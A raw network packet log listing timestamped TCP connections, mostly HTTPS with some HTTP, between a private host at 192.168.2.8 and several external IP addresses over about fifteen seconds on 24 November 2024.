Nov 24, 2024 19:11:29.220571995 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.220612049 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:29.220793962 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.221139908 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:29.221153975 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.058053970 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.064472914 CET	443	49709	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.065023899 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.065041065 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.065207958 CET	49709	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.065234900 CET	443	49709	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.066095114 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.066159010 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.066694021 CET	443	49709	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.066747904 CET	49709	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.068916082 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.068988085 CET	49709	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.069011927 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.069067955 CET	443	49709	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.069782019 CET	443	49708	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.070518970 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.073738098 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.073751926 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.073841095 CET	49708	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.073859930 CET	443	49708	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.073924065 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.073930025 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.074038982 CET	49709	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.074050903 CET	443	49709	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.075212002 CET	443	49708	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.075213909 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.075282097 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.075284958 CET	49708	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.075773954 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.075845957 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.087635994 CET	49708	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.087749958 CET	443	49708	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.087928057 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.087943077 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.087991953 CET	49708	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.088012934 CET	443	49708	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.128094912 CET	49709	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.128094912 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.128115892 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.128128052 CET	49708	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.362401009 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:31.362508059 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:31.369311094 CET	49709	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.369452000 CET	443	49709	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.369576931 CET	49709	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.932893038 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.932948112 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.932977915 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.933006048 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.933008909 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.933033943 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.933046103 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.935518980 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.935565948 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.935591936 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.935638905 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.935652018 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.935700893 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.936508894 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.936655998 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.936682940 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.936810970 CET	443	49707	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.936858892 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.936872959 CET	49707	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.937179089 CET	443	49708	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.938558102 CET	443	49708	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.938635111 CET	49708	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.939434052 CET	49708	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.939452887 CET	443	49708	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.945627928 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.945700884 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.945714951 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.958899975 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.958950996 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.958965063 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.963577986 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:31.963649988 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:31.963661909 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.009692907 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.054785013 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.096448898 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.120862961 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.135624886 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.136384010 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.136400938 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.139847040 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.140368938 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.140382051 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.152301073 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.152374983 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.152389050 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.162312984 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.164385080 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.164398909 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.172061920 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.172188997 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.172202110 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.182316065 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.184369087 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.184384108 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.195930958 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.196372986 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.196386099 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.209038019 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.212382078 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.212397099 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.221945047 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.222040892 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.222053051 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.240364075 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.240552902 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.240566969 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.251931906 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.252007008 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.252019882 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.299614906 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.299632072 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.319178104 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.319253922 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.319281101 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.326176882 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.326322079 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.326335907 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.334817886 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.335030079 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.335042000 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.339978933 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.340032101 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.340039968 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.350042105 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.350151062 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.350208044 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.350222111 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.350272894 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.360783100 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.372004986 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.372040033 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.372061968 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.372075081 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.372129917 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.382673025 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.393605947 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.393668890 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.393681049 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.404434919 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.404509068 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.404643059 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.404655933 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.404733896 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.414933920 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.471461058 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.471473932 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.518393040 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.539525032 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.542351961 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.542503119 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.542608023 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.542623043 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.542694092 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.546633005 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.551270008 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.552382946 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.552397013 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.554584980 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.554665089 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.554672956 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.557827950 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.557912111 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.557919979 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.561180115 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.561240911 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.561248064 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.567548037 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.567575932 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.567608118 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.567620039 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.567667961 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.570794106 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.574028969 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.574100971 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.574115038 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.577255964 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.577377081 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.577384949 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.577397108 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.577474117 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.580490112 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.583930016 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.584095955 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.584109068 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.587168932 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.587224007 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.587230921 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.590382099 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.590436935 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.590445995 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.596856117 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.596889973 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.596910000 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.596920967 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.596971035 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.600017071 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.603288889 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.603360891 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.603370905 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.606618881 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.606688976 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.606695890 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.609908104 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.609992981 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.610003948 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.613078117 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.613156080 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.613162994 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:32.613212109 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.613543034 CET	49712	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:32.613559961 CET	443	49712	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:33.415618896 CET	49720	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:33.415663958 CET	443	49720	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:33.415806055 CET	49720	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:33.416033983 CET	49720	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:33.416052103 CET	443	49720	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:33.980977058 CET	49721	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:33.981010914 CET	443	49721	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:33.981108904 CET	49721	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:33.988329887 CET	49721	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:33.988344908 CET	443	49721	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:34.245809078 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:34.245845079 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:34.245991945 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:34.247174978 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:34.247200012 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:34.889584064 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:34.889853001 CET	49725	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:35.015978098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:35.016235113 CET	80	49725	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:35.016321898 CET	49725	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:35.016810894 CET	49725	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:35.200844049 CET	80	49725	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:35.372381926 CET	443	49720	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:35.372932911 CET	49720	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:35.372948885 CET	443	49720	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:35.373258114 CET	443	49720	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:35.376734972 CET	49720	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:35.376795053 CET	443	49720	172.217.21.36	192.168.2.8
Nov 24, 2024 19:11:35.406632900 CET	443	49721	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:35.406713009 CET	49721	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:35.411331892 CET	49721	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:35.411344051 CET	443	49721	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:35.412004948 CET	443	49721	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:35.424462080 CET	49720	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:35.451189995 CET	49721	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:35.491328001 CET	443	49721	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:35.963413000 CET	443	49721	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:35.963474989 CET	443	49721	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:35.963620901 CET	49721	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:35.963639975 CET	443	49721	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:35.963839054 CET	49721	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:35.963839054 CET	49721	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:35.963846922 CET	443	49721	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:35.963850021 CET	443	49721	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:35.984603882 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:35.984823942 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:35.987513065 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:35.987518072 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:35.987750053 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:35.994473934 CET	49726	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:35.994493008 CET	443	49726	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:35.994647026 CET	49726	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:35.994918108 CET	49726	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:35.994929075 CET	443	49726	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:36.034648895 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:36.316817045 CET	49729	443	192.168.2.8	172.217.17.78
Nov 24, 2024 19:11:36.316848040 CET	443	49729	172.217.17.78	192.168.2.8
Nov 24, 2024 19:11:36.316925049 CET	49729	443	192.168.2.8	172.217.17.78
Nov 24, 2024 19:11:36.317312956 CET	49729	443	192.168.2.8	172.217.17.78
Nov 24, 2024 19:11:36.317327023 CET	443	49729	172.217.17.78	192.168.2.8
Nov 24, 2024 19:11:37.037611961 CET	80	49725	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:37.037724972 CET	49725	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:37.197012901 CET	49725	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:37.233493090 CET	49729	443	192.168.2.8	172.217.17.78
Nov 24, 2024 19:11:37.233578920 CET	49720	443	192.168.2.8	172.217.21.36
Nov 24, 2024 19:11:37.325424910 CET	80	49725	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:37.446161985 CET	443	49726	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:37.446264982 CET	49726	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:37.447485924 CET	49726	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:37.447493076 CET	443	49726	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:37.447773933 CET	443	49726	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:37.448950052 CET	49726	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:37.491331100 CET	443	49726	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:37.725070953 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:37.767333984 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:37.991393089 CET	443	49726	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:37.991583109 CET	443	49726	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:37.991650105 CET	49726	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:37.992439985 CET	49726	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:37.992451906 CET	443	49726	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:37.992461920 CET	49726	443	192.168.2.8	2.16.229.162
Nov 24, 2024 19:11:37.992466927 CET	443	49726	2.16.229.162	192.168.2.8
Nov 24, 2024 19:11:38.163980961 CET	80	49725	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:38.164079905 CET	49725	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:38.290659904 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:38.290676117 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:38.290683031 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:38.290721893 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:38.290750980 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:38.290770054 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:38.290782928 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:38.290823936 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:38.290852070 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:38.318506956 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:38.318578005 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:38.318588018 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:38.318593979 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:38.318636894 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:40.594106913 CET	49722	443	192.168.2.8	20.109.210.53
Nov 24, 2024 19:11:40.594122887 CET	443	49722	20.109.210.53	192.168.2.8
Nov 24, 2024 19:11:41.370753050 CET	49739	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:41.370790005 CET	443	49739	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:41.370857954 CET	49739	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:41.371362925 CET	49740	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:41.371409893 CET	443	49740	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:41.371474981 CET	49740	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:41.371655941 CET	49739	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:41.371668100 CET	443	49739	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:41.372030020 CET	49740	443	192.168.2.8	94.245.104.56
Nov 24, 2024 19:11:41.372062922 CET	443	49740	94.245.104.56	192.168.2.8
Nov 24, 2024 19:11:43.129482985 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:43.129518986 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:43.129587889 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:43.130697966 CET	49743	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:43.130723953 CET	443	49743	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:43.169538021 CET	80	49725	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:43.169600010 CET	49725	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:43.256901026 CET	443	49740	94.245.104.56	192.168.2.8
